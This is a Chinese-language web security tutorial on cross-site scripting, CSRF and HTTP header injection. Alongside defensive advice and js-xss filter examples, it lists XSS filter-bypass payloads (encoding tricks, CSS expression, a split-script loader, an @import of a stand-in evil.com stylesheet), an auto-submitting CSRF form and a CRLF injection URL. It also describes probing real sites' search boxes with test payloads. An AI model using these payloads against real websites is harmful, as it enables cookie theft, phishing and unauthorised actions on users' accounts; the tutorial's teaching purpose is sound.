1.XSS (Cross Site Script) ,跨站腳本攻擊
有句話說
所有的輸入都是有害的。
跨站腳本是最常見的計算機安全漏洞,跨站腳本攻擊指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入的惡意html代碼會被執行,對受害用戶可能采取Cookie資料竊取、會話劫持、釣魚欺騙等各種攻擊。
xss給人留下的印象:
"xss? 不就是彈出個對話框給自己看嗎?"
“跨站腳本是在客戶端執行,xss漏洞關我什么事!”
“反正xss不能竊取我的root權限。”
其實,隨著web2.0信息分享模式和社交網絡的發展,xss衍生出的攻擊危害還是很大的。最早的MySpace的xss蠕蟲攻擊,傳染了100多萬用戶,網站癱瘓,后來的知名網址如微博就爆發了xss蠕蟲攻擊,持續了16分鐘。
危害:
- 網絡釣魚,包括竊取用戶賬號;
- 竊取用戶cookies資料,從而獲得用戶隱私信息,或利用用戶身份進一步對網站執行操作;
- 劫持用戶會話,進行非法轉賬、強制發表日志、發送電子郵件等;
- 強制彈出廣告、刷流量等;
- 惡意操作,刪除文章等;
- 網頁掛馬;
- 傳播跨站腳本蠕蟲等
.....
舉個簡單栗子 :
假如你現在是站點上一個用戶,發布信息的功能存在漏洞可以執行js。你在此刻輸入一個惡意腳本,那么當前所有看到你新信息的人的瀏覽器都會執行這個腳本彈出提示框 (很爽吧 彈出廣告 :)),如果你做一些更為激進行為呢?后果難以想象。
反射型XSS
早期,通過url的輸入,將惡意腳本附加到URL地址的參數中。能夠彈出一個警告框,說明跨站腳本攻擊漏洞存在。特點:單擊時觸發,執行一次。
通常出現在網站的搜索欄、用戶登入口等地方。
http://weibo.com/login.php?'u=1931138954'<script>alert(/ssss/)</script>
- XSS 跨框架釣魚
怎么構造釣魚?使用標簽iframe.
http://weibo.com/login.php?'u=1931138954'<iframe src='http://www.baidu.com'/>
假如這是一個銀行網銀登錄的網站,存在這樣的漏洞,那我們作為攻擊者,我可以構造一個類似的頁面,把它原有的登錄框覆蓋掉。我可以把這個鏈接發給被攻擊者,以郵件或者其他的方式,這里需要用到的技術是社會工程學,誘使被攻擊者訪問這個鏈接,最終欺騙他來登錄,而攻擊者就可以輕易的拿到被攻擊者的賬號和密碼信息。也有人問,發過去的這個鏈接帶有這樣的標志或參數,被攻擊者一眼就能看出來。在這里,我們可以對這段代碼進行編碼,不管是url的編碼還是其他方式的編碼,也就是說,被攻擊者一眼看不出來這個異常,所以就會被誘使去訪問這個鏈接,最終造成影響。這個是釣魚攻擊。
現在大部分主流瀏覽器已經對url攻擊做了預防方法。
比如在老問吧輸入: https://bar.focus.cn/s?keywords=<script>alert(1)</script>
chrome: 直接報錯
ie:下面會有彈窗提示阻止跨站點腳本攻擊
搜狗:頁面結果過濾插入的代碼,控制臺輸出提示做了xss防御
危險:
網站的用戶就有被冒名頂替的風險。也就是我們的cookie信息被獲取,我們就存在有被冒名頂替的風險。
我們剛才獲取cookie的信息不是讓它alter告警方式展示給用戶,而是通過腳本程序將我們函數獲取的cookie信息,發送至遠程的惡意網站,遠程的這個惡意網站是專門用來接收當前的cookie信息的,當被攻擊者觸發這個漏洞以后,它當前用戶的cookie信息就會被發送到遠端的惡意網站。攻擊者登錄惡意網站,查看到cookie信息后可以對這個用戶的控制權限進行冒名頂替。
- HTML注入式釣魚
直接利用XSS漏洞注射HTML/JavaScript代碼到頁面中,或者是把用戶輸入的數據”存儲“在服務器端。比如登錄密碼直接設置為<script>alert(1)</script>,存入數據庫中。
常見解決辦法:
設計xss Filter,分析用戶提交的輸入,并消除潛在的跨站腳本攻擊、惡意的HTML等。在需要html輸入的地方對html標簽及一些特殊字符( ” < > & 等等 )做過濾,將其轉化為不被瀏覽器解釋執行的字符。
再舉個栗子:
用ie在問吧的搜索輸入<script>alert('包小姐')</script>
輸入
<script>alert(document.cookie)</script>
在微博同樣在搜索輸入
<script>alert('包小姐')</script>
在知乎搜索輸入
<script>alert('hello')</script>
在知乎修改密碼為:<script>alert('包小姐')</script>
結果:沒反應,控制臺報錯HTTP405: 錯誤方法 - 不支持使用的 HTTP 謂詞。
持久型xss
攻擊者事先將惡意js代碼上傳或存儲到漏洞服務器中,只要受害者瀏覽包含此惡意js代碼的頁面就會執行惡意代碼。
通常出現在網站的留言、評論、博客日志等。
危害:不需要單擊URL觸發,危害比反射型xss大,更嚴重的是能編寫xss蠕蟲(利用ajax/js 編寫的蠕蟲病毒,能夠在網站中實現病毒的幾何數級傳播,其感染速度和攻擊效果都很可怕)。
(1)尋找xss點
發掘個人檔案、日志、留言等地方的xss漏洞
(2)實現蠕蟲行為
將xss shellcode寫進xss點(例如個人檔案),引誘用戶查看,攻擊者利用ajax修改受害用戶的個人檔案信息,將惡意的代碼復制進去。隨后任何查看受害者個人檔案的也會被感染,執行重復操作,直到xss蠕蟲傳播。
繞過xss Filter:
1、利用<>標記注射HTML/js
解決:過濾和轉義<>
或<script>
等字符,從而過濾某些形式的xss<script>shellcode</script>
2、利用HTML標簽屬性值執行xss
<table background="javascript:alert(/xss/)"></table>
;)
解決:過濾JavaScript等關鍵字。
3、空格回車Tab
利用空車、回車和Tab鍵繞過限制,)
4、對標簽屬性值轉碼
HTML屬性值支持ASCII形式,;)
解決:最好也過濾&#\等字符。
5、產生自己的事件

,只要圖片不存在就會觸發onerror事件
6、利用css跨站剖析
使用css樣式表執行javascript具有隱蔽、靈活多變的特點
<div style="background-image:url(javascript:alert('xss')">
<style>
<body {background-image:url("javascript:alert('xss')");}
</style>
使用link或import引用css<link rel="stylesheet" >
p {background-image: expression(alert("xss"));}
<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>
解決:禁用style標簽,過濾標簽時過濾style屬性,過濾含expression、import等敏感字符的樣式表
7、擾亂過濾規則
大小寫混淆,不使用引號<iMg sRC="jaVasCript:alert(0);">
全角字符<div style="{left: expression(alert(0))}">
/**/會被瀏覽器忽略 <div style="wid/****/th: expre/*XSS*/ssion(alert('xss'));">
\和\0 被瀏覽器忽略@\0im\port'\0ja\vasc\ript:alert("xss")
;
e轉換成\65 <p style="xss:\65xpression(alert(/xss/))">
字符編碼:
可以讓xss代碼繞過服務端的過濾,還能更好地隱藏Shellcode
;)
進行十進制轉碼后得到
;)
用eval()執行10進制腳本
))
style屬性中經過十六進制編碼逃避過濾
<div style="xss:expression(alert(1));"></div>
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">
等等其他編碼方式
還有js支持unicode、escapes、十六進制、八進制等編碼形式,如果運用于跨站攻擊,能大大加強xss的威力。
拆分跨站法
當程序沒有過濾xss關鍵字符,卻對輸入字符長度有限制時。
比如:使用拆分法連續發表4篇文章
標題1:<script>z='<script src=';/*
標題2:/z+='http://www.test.c';/
標題3:/z+='n/1.js></script>';/
標題4:/*document.write(z)</script>
/* * / 在腳本標簽中是注釋,/和/之間的字符被忽略,最終轉成:
<script>z='<script src=';
z+='http://www.test.c';
z+='n/1.js></script>';
document.write(z)</script>
腳本順利執行。
等等還有很多攻擊方式與調用shellcode的方法,這里就不一一講述了。。。。
防御
確認客戶端生成數據的唯一安全方法就是在服務器端實施保護措施。
(1)輸出編碼
< 轉成 & lt ;
*> 轉成 & gt;& 轉成 & amp;
...
(2)白名單、黑名單
(3)URL屬性
- 規定href和src是以http://開頭;
- 規定不能有十進制和十六進制的編碼字符
- 規定屬性以雙引號“界定
前端防御組件:js-xss
js-xss是一個用于對用戶輸入的內容進行過濾,以避免遭受XSS攻擊的模塊,一般是基于黑白名單的安全過濾策略。
特性
(1)白名單控制允許的HTML標簽及各標簽的屬性
(2)通過自定義處理函數,可對任意標簽及其屬性進行處理安裝
NPM
$ npm install xss
- 使用方法
在node.js中使用
const xss = require('xss');
$('.btnSure').on('click', function(){
let result = xss($('.input').val());
putout.html(result);
});
結果:能夠顯示出輸入的代碼,而不是出現alert彈窗。
自定義過濾規則
通過 whiteList
來指定,格式為:{'標簽名': ['屬性1', '屬性2']}
。不在白名單上 的標簽將被過濾,不在白名單上的屬性也會被過濾。以下是示例:
// 只允許a標簽,該標簽只允許 title這個屬性
let options = {
whiteList:{
a: ['title']
}
};
// 使用以上配置后,下面的HTML
// <a title="問吧">問吧問吧</a>
// 將被過濾為
// <a title="問吧">問吧問吧</a>
自定義CSS過濾器
如果配置中允許了標簽的 style
屬性,則它的值會通過cssfilter
模塊處理。cssfilter
模塊包含了一個默認的CSS白名單,你可以通過以下的方式配置:
myxss = new xss.FilterXSS({
css: {
whiteList: {
position: /^fixed|relative$/,
top: true,
left: true,
}
}
});
html = myxss.process('<script>alert("xss");</script>');
去掉不在白名單上的標簽
通過stripIgnoreTag
來設置:
let options = {
whiteList:{
'a': ['title']
},
stripIgnoreTag: true
};
結果:
code:<script>alert('問吧');</script>
過濾為code:alert('問吧');
去掉不在白名單上的標簽及標簽體
通過stripIgnoreTagBody
來設置:
let options = {
whiteList:{
'a': ['title']
},
stripIgnoreTag: ['script']
};
結果:
code:<script>alert('問吧');</script>
過濾為code:
參考資料:
《XSS跨站腳本攻擊剖析與防御》 邱永華
2.CSRF(Cross Site Request Forgery),跨站點偽造請求。
攻擊者通過各種方法偽造一個請求,模仿用戶提交表單的行為,從而達到修改用戶的數據,或者執行特定任務的目的。
簡單例子:
- 在某個論壇管理頁面,管理員可以在list.php頁面執行刪除帖子操作,根據URL判斷刪除帖子的id,像這樣的一個URL
http://localhost/list.php?action=delete&id=12
當惡意用戶想管理員發送包含CSFR的郵件,騙取管理員訪問http://test.com/csrf.php,在這個惡意網頁中只要包含這樣的html語句就可以利用讓管理員在不知情的情況下刪除帖子了
<img alt="" arc="http://localhost/list.php?action=delete&id=12"/>
這個利用了img的src可以跨域請求的特點,這種情況比較少,因為一般網站不會利用get請求修改資源信息。
但是惡意網站這么寫一樣可以攻擊:
<!DOCTYPE html>
<html>
<body>
<iframe display="none">
<form method="post" action="http://localhost/list.php">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="id" value="12">
<input id="csfr" type="submit"/>
</form>
</iframe>
<script type="text/javascript">
document.getElementById('csfr').submit();
</script>
</body>
</html>
解決的思路有:
1.采用POST請求,增加攻擊的難度.用戶點擊一個鏈接就可以發起GET類型的請求。而POST請求相對比較難,攻擊者往往需要借助javascript才能實現。
2.對請求進行認證,確保該請求確實是用戶本人填寫表單并提交的,而不是第三者偽造的.具體可以在會話中增加token,確保看到信息和提交信息的是同一個人。(驗證碼)
3.Http Heads攻擊
HTTP協議在Response header和content之間,有一個空行,即兩組CRLF(0x0D 0A)字符。這個空行標志著headers的結束和content的開始。“聰明”的攻擊者可以利用這一點。只要攻擊者有辦法將任意字符“注入”到headers中,這種攻擊就可以發生。
- 以登陸為例:有這樣一個url:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
當登錄成功以后,需要重定向回page參數所指定的頁面。下面是重定向發生時的response headers.
HTTP/1.1 302 Moved Temporarily Date: Tue, 17 Aug 2010 20:00:29 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Location: http://localhost/index
假如把URL修改一下,變成這個樣子:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
那么重定向發生時的reponse會變成下面的樣子:
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/checkout<CRLF>
<CRLF>
<script>alert('hello')</script>
這個頁面可能會意外地執行隱藏在URL中的javascript。類似的情況不僅發生在重定向(Location header)上,也有可能發生在其它headers中,如Set-Cookie header。這種攻擊如果成功的話,可以做很多事,例如:執行腳本、設置額外的cookie(<CRLF>Set-Cookie: evil=value)等。
避免這種攻擊的方法,就是過濾所有的response headers,除去header中出現的非法字符,尤其是CRLF。
服務器一般會限制request headers的大小。例如Apache server默認限制request header為8K。如果超過8K,Aapche Server將會返回400 Bad Request響應。
對于大多數情況,8K是足夠大的。假設應用程序把用戶輸入的某內容保存在cookie中,就有可能超過8K.攻擊者把超過8k的header鏈接發給受害者,就會被服務器拒絕訪問.解決辦法就是檢查cookie的大小,限制新cookie的總大寫,減少因header過大而產生的拒絕訪問攻擊
測試:
結果控制臺輸出:SEC7130: “http://weibo.com/u/1931138954/home?wvr=5&lf=reg%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E”中檢測到可能的跨站點腳本操作。內容已被 XSS 篩選器修改。